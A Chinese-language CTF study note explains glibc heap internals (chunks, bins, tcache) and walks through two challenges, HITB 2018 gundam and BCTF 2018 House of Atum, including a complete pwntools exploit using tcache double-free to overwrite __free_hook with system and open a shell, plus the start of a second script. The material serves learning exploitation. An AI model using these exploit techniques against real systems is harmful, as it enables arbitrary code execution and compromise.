CTF 竞赛权威指南-PWN-3

0x08 堆利用

 内存管理要求在程序请求时动态分配内存,并在程序不需要时释放分配的内存。glibc 实现的内存管理机制叫 ptmalloc2,它支持多线程,其在速度、所占空间、可移植性、可调整性上都有很好的表现。常见的内存管理机制还有 dlmalloc、tcmalloc、jemalloc 等。堆是由低地址向高地址增长的线性区域。只有当用户向操作系统申请内存时,堆才会被内核分配出来,并且出于效率和页对齐的考虑,通常会分配相当大的连续内存。程序再次申请时便会从这片内存中分配,直到堆空间不能满足时才会再次增长。堆一般在 BSS 段高地址处。

image-20240602152210696

 堆的属性是可读可写的,其大小通过 brk() 或 sbrk() 进行控制。在堆未初始化时,program break 指向 BSS 段的末尾,通过调用 brk() 和 sbrk() 来移动 program break 使得堆增长。在堆初始化时,如果开启了 ASLR,则堆的起始地址 start brk 会在 BSS 段之后的随机位移处,如果没有开启,则 start brk 会紧接着 BSS 段。brk() 的参数是一个指针,用于设置 program break 指向的位置。sbrk() 的参数 increment 用于与 program break 相加来调整 program break 的值。当用户申请内存过大时,ptmalloc2 会通过 mmap() 创建匿名映射段供用户使用。

 系统中的堆指的是主线程中 main_arena 所管理的区域,但 glibc 会同时维持多个区域来供多线程使用,每个线程都有属于自己的内存(arena),这些内存也可称为堆。使用一个链表就可以实现堆,但是要在速度、占用空间和可靠性等各方面权衡、并且适应多线程的话,就需要精心设计。

 glibc 对堆的设计:

1
2
3
(1)用户申请堆块时,从堆中按顺序分配堆块交给用户,用户保存指向这些堆块的指针。
(2)用户释放堆块时,glibc 会将释放的堆块组织成链表。
(3)当两块相邻堆块都为释放状态时,将其合并成一个新的堆块,由此解决内存碎片的问题。

正在使用中的堆块叫 allocated chunk,被释放的堆块叫 free chunk,由 free chunk 组成的链表叫作 bin。有一个 chunk,其相邻的低地址 chunk 叫上一个(后面的)chunk,其相邻的高地址 chunk 叫下一个(前面的)chunk。glibc 将不同大小范围的 chunk 组织成不同的 bin,如 fast bin、small bin、large bin 等。

相关概念

  • arena。一片或数片连续的内存,堆块将会从这些区域划分给用户。主线程的 arena 为 main arena,它包含 start brk 和 brk 之间的内存。一般将 start brk 到 brk 之间的连续内存称为堆。子线程的 arena 可以是数片连续内存(不一定在 start brk 到 brk 之间)。如果主线程的堆大小不够,可通过 brk() 扩展,但子线程分配的映射段大小是固定的,不可以扩展,不够用的话就需要 mmap() 来分配新的内存。

  • heap_info。子线程的 arena 可以有多片连续内存(多个 heap),这些内存都可以被称为 heap,每一个 heap 都有自己的 heap_info(heap header)。heap_info 是通过链表相连接的,里面保存了指向其 arena 的指针。

  • malloc_state。每个线程只有一个 malloc_state(arena header),里面保存了 bins、top chunk 等信息。主线程的 main_arena 保存在 libc.so 的数据段里,其他线程的 arena 保存在给该 arena 分配的 heap 里。

  • malloc_chunk。chunk 是 glibc 管理内存的基本单位,整个堆在初始化后会被当成一个 free chunk,称为 top chunk。每次用户请求内存时,如果 bins 中没有合适的 chunk,就会从 top chunk 中进行划分,如果 top chunk 的大小不够,则调用 brk() 扩展堆的大小,然后从新生成的 top chunk 中进行切分。用户释放内存时,glibc 会先根据情况将释放的 chunk 与其他相邻的 free chunk 合并,然后加入合适的 bin 中。malloc_chunk 的结构定义如下:

1
2
3
4
5
6
7
8
9
10
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;

struct malloc_chunk* fd;
struct malloc_chunk* bk;

struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
}
1
2
3
4
5
6
7
8
9
INTERNAL_SIZE_T:在 64 位系统下是 8 字节。

prev_size:如果上一个 chunk(低地址)处于释放状态,则用于表示其大小。否则作为上一个 chunk 的一部分,用于保存上一个 chunk 的数据。

size:表示当前 chunk 的大小,必须是 2*SIZE_SZ 的整数倍,SIZE_SZ 在 64 位系统下是 8 字节。最后 3 个 bit 被用作状态标识,最低的两个 bits 从高到低分别代表:(1)IS_MAPPED。标识一个 chunk 是否是从 mmap 函数中获得的。(2)PREV_INUSE。标识上一个 chunk 的状态,当为 1 时,表示上一个 chunk 处于释放状态,否则表示上一个 chunk 处于使用状态。

fd/bk:仅在当前 chunk 处于释放状态时有效。chunk 被释放后会加入相应的 bin 链表中此时 fd 和 bk 指向该 chunk 在链表中的下一个(fd,高地址)和上一个(bk) free chunk(不一定是物理相邻的)。如果 chunk 处于使用状态,那么这两个字段是无效的,都是用户使用的空间。

fd_nextsize/bk_nextsize:仅在处于释放状态时有效,否则就是用户使用的空间。不同的是它们仅用于 large bin,分别指向前后一个和当前 chunk 大小不同的 chunk。

 展示堆块的申请与释放过程:

1
2
3
(1)用户连续申请了 3 个堆块 A、B、C,此时释放 chunk B,由于它与 top chunk 不相邻,所以会被放入 bin 中,成为一个 free chunk。
(2)再次申请一个与 B 相同大小的堆块,则 malloc 将从 bin 中取出 chunk B,回到一开始的状态,bin 的表头也会指向 null。
(3)如果用户连续释放 chunk A 和 chunk B,由于它们相邻且都是 free chunk,那么就会被合并成一个大的 chunk 放入 bin 中。

image-20240602163900328

 处于使用状态的 chunk 由两部分组成,即 pre_size 和 size 组成的 chunk_header 和后面供用户使用的 user data。malloc() 函数返回给用户的实际上是指向用户数据的 mem 指针。

image-20240602165705802

 处于释放状态的 chunk 的 fd/bk 是有效的,由于是释放状态,所以下一个 chunk(高地址) 的 PREV_INUSE 比特位一定是 0,prev_size 为当前 chunk 的大小。一个 chunk 的大小最小可能是 32 字节(64位系统),即两个 SIZE_SZ 的大小(prev_size 与 size)加上两个指针(fd 与 bk)的大小。

image-20240602170237721

 glibc 是如何在 malloc_chunk 上节省内存的?prev_size 仅在上一个 chunk 为释放状态时才需要,否则它会加入上一个 chunk 的 user data 部分,节省出一个 SIZE_SZ 大小的内存。其次,size 最后 3 位由于内存对齐的原因,被用来标记 chunk 的状态。最后,fd 和 bk 仅在释放状态下才需要,节省了 2*SIZE_SZ 大小的内存。

各种 bins

 chunk 被释放时,glibc 会将它们重新组织起来,构成不同的 bin 链表,当用户再次申请时,就从中寻找合适的 chunk 返回用户。不同大小区间的 chunk 被划分到不同的 bin 中,一共有四种 bin:Fast bin、Small bin、Large bin 和 Unsorted bin。这些 bin 记录在 malloc_state 结构中。fastbinsY 是一个 bin 数组,里面有 NFASTBINS 个 fast bin。bins 也是一个 bin 数组,一共有 126 个 bin,按顺序分别是 bin 1 为 unsorted bin,bin 2 到 bin 63 为 small bin,bin 64 到 bin 126 为 large bin。

  • Fast bin。glibc 对这 Fast bin 使用单链表结构,并采用 LIFO(后进先出)的分配策略。为了加快速度,fastbin 的 chunk 不会进行合并操作,所以下一个 chunk(高地址) 的 PRV_INUSE 始终标记为 1,使其处于使用状态。同一个 fast bin 里 chunk 大小相同,并且在 fastbinsY 数组里按照从小到大的顺序排列,序号为 0 的 fast bin 中容纳的 chunk 大小为 4*SIZE_SZ 字节,随着序号增加,所容纳的 chunk 递增 2*SIZE_SZ 字节。

image-20240602184819220

  • Unsorted bin。chunk 被释放时,在进入 small bin 或者 large bin 之前,会先加入 unsorted bin。一个被释放的 chunk 通常很快就会被重新使用,所以将其加入 unsorted bin 可以加快分配的速度。unsorted bin 使用双链表结构,并采用 FIFO(先进先出)的分配策略。与 fastbinsY 不同,unsroted bin 中的 chunk 大小可能是不同的,并且由于是双链表结构,一个 bin 会占用 bins 的两个元素。

image-20240602191931005

  • Small bin。同一个 small bin 里 chunk 的大小相同,采用双链表结构,使用频率介于 fast bin 和 large bin 之间。small bin 在 bins 里居第 2 到第 63 位,共 62 个。根据排序,每个 small bin 的大小为 2*SIZE_SZ*idx(idx 表示 bins 数组的下标)。最小的 small chunk 为 2x8x2=32 字节,最大的 small chunk 为 2x8x63=1008 字节。由于 small bin 和 fast bin 有重合的部分,所以这些 chunk 在某些情况下会被加入 small bin 中。

image-20240602192521576

  • Large bin。在 bins 里居第 64 到第 126 位,共 63 个,被分成了 6 组。32 位系统下第 1 个 large bin 的 chunk 最小为 512 字节,第 2 个 large bin 的 chunk 最小为 512+64 字节,处于 [512,512+64) 之间的 chunk 都属于第 1 个large bin。64 位系统第 1 个 large bin 的 chunk 最小为 1024 字节,第 2 个 large bin 的 chunk 最小为 1024+64 字节。large bin 也是采用双链表结构,里面的 chunk 从头结点的 fd 指针(下一个,高地址)开始,按大小顺序进行排列。为了加快检索速度,fd_nextsize 和 bk_nextsize 指针用于指向第 1 个与自己大小不同的 chunk。

相关源码

 需要确保 malloc() 函数返回的内存不会发生溢出,在不用时使用 free() 函数将其释放。下面介绍几个宏定义:

  • request2size()。将请求的 req(user data 的大小) 转换成包含 chunk 头部(presize 和 size)的 chunk大小,MINSIZE 默认为 0x20 字节。当 req 属于 [0, MINSIZE-MALLOC_ALIGN_MASK-SIZE_SZ),也就是 [0,9),返回 0x20。当 req 为 0x9->0x18 时,返回 0x20。当 req 为 0x19->0x28 时,返回 0x30。0x18 的 user data 加上头部 0x10 就已经是 0x28 了,为什么返回的 chunk 大小是 0x20?这是因为如果 chunk 在使用中,下一个 chunk(高地址)的 prev_size 就会属于当前 chunk,所以多出了 0x8 的使用空间。

image-20240603104936167

  • chunk2mem() 与 mem2chunk()。chunk2mem() 把指向 chunk 的指针转化成指向 user data 的指针,常出现在 malloc() 函数返回时,mem2chunk() 把指向 user data 的指针转化成指向 chunk 的指针,出现在 free() 函数开始时。

  • chunk 状态相关。PREV_INUSE=0x1、IS_MMAPPED=0x2、NONMAIN_ARENA=0x4(chunk 是否属于非主线程)。通过 chunk 指针 p,可对某标志位进行提取、检查、置位和清除操作。其中,prev_inuse 是检查前一个内存块的使用情况,而 inuse 是检查当前内存块的使用情况。

image-20240603113852523

 set_head_size() 修改 size 时不会修改当前 chunk 的标志位,而 set_head() 会修改标志位。set_foot() 修改下一个 chunk(高地址) 的 prev_size 时,当前 chunk 一定要处于释放状态,不然下一个 chunk 的 pre_size 是没有意义的(会当作当前 chunk 的 use data)。

image-20240603115135528

 next_chunk() 将当前 chunk 地址加上当前 chunk 大小获得下一个(高地址) chunk 的指针。prev_chunk() 将当前 chunk 地址减去 prev_size(上一个 chunk 的大小) 值获得上一个 chunk 的指针,前提是上一个 chunk 处于释放状态(若是使用状态,则 prev_size 是上一个 chunk 的一部分)。chunk_at_offset() 将当前 chunk 地址加上 s 偏移处的位置视为一个 chunk。

image-20240603120038416

chunk 合并过程的相关源码

 当一个非 fast_bin 的 chunk 被释放时,会与相邻的 chunk 进行合并,顺序通常是先向后(向上,向低地址)合并再向前(向下,向高地址)合并。如果向前合并(向高地址)的 chunk 是 top chunk,则合并之后会形成新的 top chunk,如果不是,则合并之后会被加入 unsorted bin 中。在 free() 中的合并过程代码如下:

image-20240603121059293

image-20240603121345139

image-20240603121529024

chunk 拆分过程的相关源码

 当用户申请的 chunk 较小时,会先将一个大的 chunk 进行拆分,合适的部分返回给用户,剩下的部分(叫做 remainder)则加入 unsorted bin 中,同时 malloc_state 中的 last_remainder 字段记录最近拆分出的 remainder(大小至少为 MINSIZE)。拆分 chunk 的 1 种情况是:fast bin 和 small bin 中都没有适合的 chunk,同时 unsorted bin 中只有 1 个可拆分的 chunk、并且该 chunk 是 last_remainder。

image-20240603122218439

image-20240603122533513

bins 相关源码

 fastbinsY 数组并没有保存头结点,而是只保存了 malloc_chunk 的 fd 成员,这些指针的初始值为 NULL,表示对应的 bin 为空,直到有 chunk 加进来时,fd 才保存 chunk 的地址。

image-20240603123017551

 fast bin 中的 chunk 一般不会与其他 chunk 合并,但如果合并之后的 chunk 大于 FASTBIN_CONSOLIDATION_THRESHOLD(65536 字节),就会触发 malloc_consolidate() 函数,将 fast bin 中的 chunk 与其他 free chunk 合并,然后移动到 unsorted bin 中。fast bin 中最大的 chunk 是由 global_max_fast 决定的,这个值一般在堆初始化的时候设置,运行时也可设置。

image-20240603132120500

 bin_at(m,i) 宏定义中减去了 offsetof(struct malloc_chunk, fd),也就是 prev_size 和 size 成员的大小。这是因为 bins 数组实际上保存了双链表的头结点的 fd 和 bk 指针。

image-20240603132702475

image-20240603132924562

 bins[0] 和 bins[1] 是 unsorted bin 的 fd 和 bk 指针,bin_at(1) 返回的应该是 unsorted_bin 的头指针,但实际上其指向的是 bins[0] 地址减去 offsetof(struct malloc_chunk, fd) 的位置,这样使用头结点指针 b 时,b->fd 与 b->bk 能够正确访问,同时 prev_size 和 size 对于头结点没有意义,所以就被省略了。对于 bin_at(64) 及之后的 large bin 来说,因为头结点的 size 成员没有意义(Large bins 管理的大块内存需要根据大小排序和链接,头结点不需要 size 信息进行管理)。

 binmap 为 malloc_state 的成员,在索引 bin 的时候使用,其中一个 bit 表示 bins 中相应的 bin 的状态,1 表示 bin 不为空,0 表示为空,这样能加快搜索速度。

malloc_consolidate()

 fast bin 中的 chunk 永远不会释放,导致相邻的 free chunk 无法与之合并,从而造成大量的内存碎片。malloc_consolidate() 可以解决这个问题。在达到某些条件时,glibc 就会调用该函数将 fast bin 中的 chunk 取出来,与相邻的 free chunk 合并后放入 unsorted bin,或者与 top chunk 合并后形成新的 top chunk。源码略,见 P238,感觉源码看着没啥帮助呢。

malloc 与 free 相关源码

__libc_malloc()

 glibc 的 malloc() 实际是 __libc_malloc()。

image-20240603141623408

_int_malloc()

 分配 chunk 时的搜索顺序是(堆的初始化可能在分配 chunk 时运行):

1
2
3
4
5
6
7
(1)在 fast bin 中寻找大小完全一样的 chunk。
(2)在 small bin 中寻找大小完全一样的 chunk。
(3)在 unsorted bin 寻找大小完全一样的 chunk,其过程中还包括对 fast bin 的重新整理(malloc_consolidate),并将 fast bin 中的 chunk 放到 small bin 或者 large bin。
(4)如果申请较大的 chunk,在 large bin 中寻找最小能满足的 chunk。
(5)寻找最小能满足的 bins(根据 binmap 来搜索 bin,因为申请的 chunk 大小所对应 bin 没有找到合适的 chunk,所以就从下一个 bin 中搜索)。
(6)在 top chunk 中切分出合适的 chunk。
(7)系统函数分配。

 其源码在 P240。当 _int_malloc() 无法在现有的内存块中找到合适的块时,会调用 sysmalloc() 来从操作系统获取更多的内存。sysmalloc() 的逻辑为:

(1)当申请的大小大于 mp_.mmap_threshold(128 KB) 时,通过 mmap() 函数进行分配新的内存。

(2)用 brk() 扩展堆内存,形成新的 top chunk,而旧的 top chunk 会被释放。然后从新的 top chunk 中切分出合适大小的 chunk,返回给用户。

__libc_free()

 free() 函数实际上是 __libc_free() 函数,其调用 _int_free() 进行操作。

_int_free()

 源码在 P249,其逻辑为:

(1)获得要释放的 chunk 的大小,并对 chunk 做一些检查。

(2)如果该 chunk 并非 mmap 生成的,就需要进行合并,先向后合并(低地址),再向前合并(高地址)。如果合并之后的 chunk 超过了 FASTBIN_CONSOLIDATION_THRESHOLD,就会整理 fast bin 并向系统返还内存。

TCache 机制

 前面所讲的是 libc-2.23 的内存分配机制,libc-2.26 引入了新的 TCache 机制,使得内存分配发生一些变化。

 TCache(Thread Local Caching),它为每个线程创建一个缓存,里面包含了一些小堆块,无须对 arena 上锁即可使用(可提升性能)。glibc 在编译时使用 USE_TCACHE 来开启 tcache 机制。每个线程默认使用 64 个单链表结构的 bins,每个 bins 最多存放 7 个 chunk。chunk 的大小在 64 位机器上以 16 字节递增,从 24 到 1032 字节,在 32 位机器上则以 8 字节递增,从 12 到 512 字节,所以 tcache bin 只用于存放 non-large 的 chunk。

 两个新的数据结构:

image-20240603151236671

image-20240603151250347

 tcache_perthread_struct 位于堆开头的位置,它本身也是一个堆块,大小为 0x250。其中包含数组 entries,用于放置 64 个 bins 的地址,数组 counts 则存放每个 bins 中的 chunk 数量。每个被放入 bins 的 chunk 都会在其用户数据中包含一个 tcache_entry(fd 指针),指向同 bins 中下一个 chunk 的用户数据,从而构成单链表。

 触发在 tcache 中放入 chunk 的操作有:

  • 释放堆块时。在整理 fast bins 的操作之前进行,如果 chunk 的大小符合要求,并且对应的 bins 还未装满,就将其放进去。
  • 分配堆块时:
    • 如果从 fast bins 中成功返回了一个需要的 chunk,那么对应 fast bins 中的其他 chunk 会被放进相应的 tcache bin 中,直到上限。chunks 在 tcache bin 的顺序和在 fast bins 中的顺序是反过来的。
    • 如果从 small bins 中成功返回了一个需要的 chunk,那么对应 small bins 中的其他 chunk 会被放进相应的 tcache bin 中,直到上限。
    • binning code 中(指将空闲 chunks 分类到不同的 bin 中),每一个符合要求的 chunk 都会优先被放入 tcache,而不是直接返回(除非 tcache 已装满)。然后,程序会从 tcache 中返回其中一个。

 触发在 tcache 中取出 chunk 的操作有:

  • 在 __libc_malloc() 调用 _int_malloc() 之前,如果 tcache bin 中有符合要求的 chunk,则直接返回。
  • bining code 中,如果在 tcache 中放入的 chunk 达到上限,则会直接返回最后一个 chunk。

tcache 中的 chunk 不会被合并,这是因为这些 chunk 的 PREV_INUSE 都会被标记。

TCache 的安全分析与安全问题

 tcache_put() 和 tcache_get() 分别用于从单链表中放入和取出 chunk。这两个函数都假设调用者已经对参数进行了有效性检查,然而由于 tcache 的操作在 free 和 malloc 中往往都处于很靠前的位置,导致原来的许多有效性检查都被无视了。

  • CVE-2017-17426。libc-2.26 中发现了安全漏洞,由于 libc_malloc() 使用 request2size() 来将请求大小转换为实际块大小,该函数不会进行整数溢出检查。所以如果请求一个非常大的堆块(接近 SIZE_MAX),那么就会导致整数溢出,从而导致 malloc 错误地返回 tcache bin 里的堆块。此问题在 libc-2.26 中出现,在 libc-2.27 中被修复。

image-20240603160239814

  • 二次释放的检查。libc-2.28 版本增加对 tcache 中二次释放的检查,方法是在 tcache_entry 结构体中增加了一个标志 key,用于表示 chunk 是否已经在 tcache bin 中。

HITB CTF 2018 gundam

 使用书中 change_ld.py 改变 libc 版本后,分析程序发现:

(1)gundam 的数量放在 .bss 段中。

(2)使用 read(0, name, 0x100) 读取 name,并未在末尾设置 \x00,因此存在信息泄露的可能。

(3)在某个 gundam 数据结构的销毁过程中,首先销毁后没有将 gundam 的数量这个全局变量减1,其次并没有 free 掉 gundam 的结构体,可能会进行多次释放。最后,其只是将其第一个字段置为 0,并且将 name 字段所指向的内存销毁,但没有将此字段置空,因此存在 UAF 的问题。

(4)在 gundam 统一销毁的过程中,gundam 的 name 指针并没有被销毁。

漏洞利用

 不知道思路,所以写一下书中给的思路。

(1)利用被放入 unsorted bin 中的 chunk 泄露 libc 基址,并计算出 __free_hooksystem 函数的地址。(为什么会放入 unsorted bin 而不是 fastbin?如何泄露?求得 __free_hook 的地址有什么用?)

(2)将同一个 chunk 两次放入 unsorted bin,修改 next 指针造成 tcache poisoning,在 &__free_hook 的地方分配 chunk,修改 __free_hook 为 system。(libc2.26 中 tcache 并未做二次释放检查)

(3)再调用 free(),执行 system(‘/bin/sh’)。

 如果释放的是小块内存(通常小于 512 字节),并且该线程的 tcache 中对应大小的缓存未满,则该内存块将被放入 tcache。与书中不同,当 tcache 中放满了 7 个 chunk 后,再释放一个,并没有放到 unsorted 中,而是放到了 fastbin 中,之后再分配一个,是拿 tcache 中的块进行分配的。

image-20240927193537136

image-20240929003259991

 下面是 tcache 在内存中的分配情况(已释放):

image-20240930195754503

 如果未释放,则呈现:

image-20240930201154592

 内存泄露暴露敏感地址 A 的过程:

image-20241026111549720

 而敏感地址 A 与 libc 的基地址的偏移是固定的,在实验过程中为:

1
0x00007ffff7fc3c78 - 0x00007ffff7e11000 = 0x1B2C78

 使用这个固定偏移,就可以推断出两个关键函数的地址,即 free_hook_addr 和 system_addr。里面有个坑,就是分配 gundam 例如按顺序 0-7 分配的话,destroy 不能按顺序 0-7 destory,这样会导致 bin 合并,从而不会放到 unsorted bin。

 另外,此程序还存在 double free 的问题,触发机制如下:我先分配 8 个 gundam(编号为 0-7),之后顺序释放 2、1、0,出现:

1
Tcachebins[idx=15, size=0x110, count=3] <-- Chunk(addr=0x555555603290, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) <--  Chunk(addr=0x5555556033d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) <-- Chunk(addr=0x555555603510, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

 之后再释放一下 0,出现:

1
Tcachebins[idx=15, size=0x110, count=1] <-- Chunk(addr=0x555555603290, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) <-- Chunk(addr=0x555555603290, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) <-- [loop detected]

 Double free 实现循环之后,漏洞具体步骤如下:

  • 构造第 1 个 gundam 时,参数为 free_hook_addr 的地址(name 字段),glibc 会从 tcache bin 中找到空闲的 chunk,此时为 chunk 0,tcache_get 操作会将 tcache->entries[tc_idx] 指向的第一个 chunk 返回,并使 entries[tc_idx] 指向下一个 chunk。由于 chunk 0 的 fd 指向自身,tcache->entries[tc_idx] 仍然指向 chunk 0,同时 chunk 0 的 fd 被改写成 free_hook_addr。

image-20241026182945881

  • 构造第 2 个 gundam 时,参数为 ‘/bin/sh\x00’ 字符串,glibc 会从 tcache bin 中找到空闲的 chunk,此时仍然为 chunk 0,tcache_get 操作会使 chunk 0 返回,使 tcache->entries[tc_idx] 指向前面 chunk 0 的 fd,即 free_hook_addr,同时使 chunk 0 的 fd 改写为 ‘/bin/sh\x00’。

image-20241026190402243

  • 构造第 3 个 gundam 时,参数为 system_addr 地址,glibc 会从 tcache bin 中找到空闲的 chunk,因为此时 tcache->entries[tc_idx] 指向free_hook_addr,就在 free_hook_addr 处写上 system_addr。此后,我们将存放 free 函数地址的单元改为 system 函数的地址,再执行 1 个destroy,即可启动 system。可选择 destroy 含有 ‘/bin/sh\x00’ 字符串的 gundam,成功执行 shell。

image-20241026191218406

 给出 wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

io = process("./gundam_debug")
libc = ELF('/home/wd2711/Desktop/CTF-PWN/gundam/glibc-2.26/build/lib/libc-2.26.so')

def build(name):
io.sendlineafter(b"choice : ", b'1')
io.sendlineafter(b"gundam :", name)
io.sendlineafter(b"gundam :", b'0')

def destroy(idx):
io.sendlineafter(b"choice : ", b'3')
io.sendlineafter(b"Destory:", str(idx).encode('ascii'))

def blow_up():
io.sendlineafter(b"choice : ", b"4")

def visit():
io.sendlineafter(b"choice : ", b'2')

def leak():
global free_hook_addr, system_addr

for i in range(8):
build(b"AAAAAAA")

# put to tcache bin and unsorted bini
destroy(7)
for i in range(7):
destroy(i)

# destroy all
blow_up()

# 7 tcache bin, 1 unsorted bin
for i in range(8):
build(b"AAAAAAA")

# leak info
visit()
leak = u64(io.recvuntil(b"Type[7]", drop=True)[-6:].ljust(8, b'\x00'))
libc_base = leak - 0x1B2C78 # leak - libc_base = offset
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']

log.info("libc base: 0x%x" % libc_base)
log.info("__free_hook addr: 0x%x" % free_hook_addr)
log.info("system addr: 0x%x" % system_addr)

def overwrite():
# double free
destroy(2)
destroy(1)
destroy(0)
destroy(0)

blow_up()

# fd = &__free_hook
build(p64(free_hook_addr))
# fd = /bin/sh
build(b'/bin/sh\x00')

# for test
# gdb.attach(io, gdbscript=f"print *(long *){hex(free_hook_addr)}")
# pause()

# __free_hook = &system
build(p64(system_addr))

def pwn():
destroy(1)
io.interactive()

if __name__ == "__main__":
leak()

'''
# for test
pid = io.pid
with open(f"/proc/{pid}/maps", 'r') as f:
maps = f.readlines()
for line in maps:
print(line)
#'''

overwrite()
pwn()

BCTF 2018 House Of Atum

 认识的一个大佬出的题卧槽。审出两个漏洞点(double free 也可以使用 UAF 来利用):

image-20241027161426793

image-20241027161521027

 根据 dolphindiv 给出的思路,可以使用与 gundam 相同的解题办法。一些 hint 为:

  • 动态获得 libc 基地址。利用 unsorted bin,将符合 unsorted bin 大小的 chunk 释放到 unsorted bin 中,该 chunk 前向指针 fd 和后向指针 bk 的值就是要泄露的地址。
  • 由于 fast bin 处理的 chunk 大小不超过 0x80 字节,而 unsorted bin 主要存放超过 fast bin 范围的 chunk。因此,对创建的大小为 0x51 的 chunk,释放后只能进入 tcache bin 和 fast bin。
  • __free_hook 地址处写入 system 地址,就得构建 1 个以 __free_hook 地址为数据区地址的 chunk,即 __free_hook-0x10为起始地址的 chunk(起始为 prev_size 与 size),并以 system 地址作为内容参数。

基础构建

 首先,泄露一些关键地址。如下所示,构建 chunk 0,内容为 A,之后构建 chunk 1,内容为 p64(0)*7+p64(0x11)(为什么这么做?后面有解释)。之后,释放 chunk 1,再重复释放 chunk 0,之后使用程序自带的 show 函数,可以展示 chunk 0 中的 fd,我们将其定义为 heap_addr(其实是 chunk 0 + 0x10)。

image-20241028194556771

 如果我们想要获得 libc 的 base,按 gundam 的方法我们应该让 多出来的 chunk (超过 7 个的 chunk)进入 unsorted bin,而不是 fast bin。为了达到这一点,我们需要让 chunk 足够大(超过 0x80 字节)。如何改变 chunk 0 的大小为 0x91 呢?一种方式就是:设置 chunk 1 的起始地址为 chunk 0 - 0x10,且初始时 chunk 1 在 tcache bin 中,重新分配 chunk 1,并设置 chunk 0 的 size 字段(chunk 0 + 0x8)为 0x91。

 那么,如何将 chunk 1 的起始地址设置为 chunk 0 - 0x10,且使得 chunk 1 在 tcache bin 中呢?两种方式:(1)直接释放 chunk 1 到 tcache。(2)释放 chunk 1 到 fastbin 某 chunk A 后面,当 chunk A 从 fastbin 中被分配后,chunk 1 会被转移到 tcache。wp 使用了第二种方式(为什么第一种不行?)。第二种方式如何做?

  • 程序启动后,先释放 chunk 1,再连续释放 7 次 chunk 0,会出现以下情况:

image-20241029130649892

  • 分配 chunk,将从 tcache 中取出 chunk 0 作为分配的块,并将 heap_addr-0x20(chunk 0 - 0x10)写入 chunk 0。此后,fastbin 中的 chunk 0 后链接着以 heap_addr-0x20 为起始地址的 chunk,tcache 为空。此时,如果再申请创建 1 个 chunk(记为 B),将会从 fastbin 中分配,同时 fastbin 剩余 chunk 将会移到 tcache 中。由于 tcache 中 next 指针指向 chunk 的数据区,fastbin 中 next 指针指向 chunk 起始地址,且 fastbin 的 next 指针指向 chunk 0 - 0x10,因此,转到 tcache 后其 next 指针指向 chunk 0 起始地址(heap_addr - 0x10)。此时释放 B,B 会进入到 fastbin(为什么?

image-20241029142424956

 到目前为止,已经成功伪造 chunk 1,并使其进入 tcache。再次申请创建 chunk,得到 chunk 1(chunk 1 的数据起始地址是 chunk 0 的块起始地址)。之后改变 chunk 0 的大小为 0x91,具体而言:chunk 1 写入 p64(0)+p64(0x91),成功改变 chunk 0 的大小为 0x91。最难的部分已经攻克,剩下的和 gundam 类似。

泄露 libc 地址

 连续释放 chunk 0 7 次,将会使 chunk 0 进入 0x91 大小的 tcache 中,再释放 1 次,chunk 0 将会进入 unsorted bin。chunk0+0x10 处的是泄露的地址。其与 libc 基地址的偏移是固定的,进而可计算出 __free_hook 与 system 函数地址。

__free_hook 劫持

 与 gundam 一样,要在 __free_hook 地址处写入 system 地址,就得构建 1 个以 __free_hook 地址为数据区地址的 chunk,即 __free_hook-0x10 为起始地址的 chunk,以 system 地址作为内容参数。

 已知 fastbin 中 chunk 被分配后,该 chunk 后面链接的 chunk 会被移到 tcache 中,后面再分配 chunk 时,tcache 中的 chunk 会被分配。并且,已知 fastbin 中 chunk 0 后面链接的是指向 unsorted bin 的指针,如果将其改为 __free_hook-0x10,且此时 tcache 没有 chunk,之后创建 0x51 的 chunk,glibc 会从 fastbin 中分配 chunk,同时将 __free_hook 地址写入 tcache。那么,如何将 chunk 0 大小改回到 0x51 并修改 chunk 0 后面的链接指针?

 答案:继续使用前面伪造的 chunk 1(指向 heap_addr-0x20,如上图所示),利用程序的 edit 功能,将 chunk 1 的内容编辑为p64(0)+p64(51)+__free_hook-0x10,成功修改 chunk 0 大小和 chunk 0 后面链接指针。之后,创建大小为 0x51 的 chunk,chunk 0 将从 fastbin 中分配,同时 __free_hook 地址被写入 0x51 大小的 tcache 中。

 释放 chunk 0,chunk 0 被释放到 fastbin 中(为什么?),再次申请创建 chunk 0, 将从 tcache 中分配 chunk0 (__free_hook-0x10开头),以system 函数地址为参数,把 system 函数地址写入 __free_hook 地址,实现 __free_hooksystem 的绑定。释放伪造的 chunk 1,再次创建 chunk 1,chunk 1 将从 fastbin 中分配(tcache 空了),以 /bin/sh\x00 为参数。

 给出 wp,并给出 chunk 的构造流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *

local = 1
pc = './houseofAtum_debug'
remote_addr = ['', 0]
aslr = False
libc = ELF('./libc.so.6')

if local == 1:
p = process(pc, aslr = aslr)
else:
p = remote(remote_addr[0], remote_addr[1])

# Basic block
# -------------------------------------

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a, b : p.sendafter(a, b)
sla = lambda a, b : p.sendlineafter(a, b)

# program simulation
# -------------------------------------
def choice(idx : int):
sla(b"choice:", str(idx).encode('ascii'))

def new(content : bytes):
choice(1)
sa(b"content:", content)

def edit(idx : int, content : bytes):
choice(2)
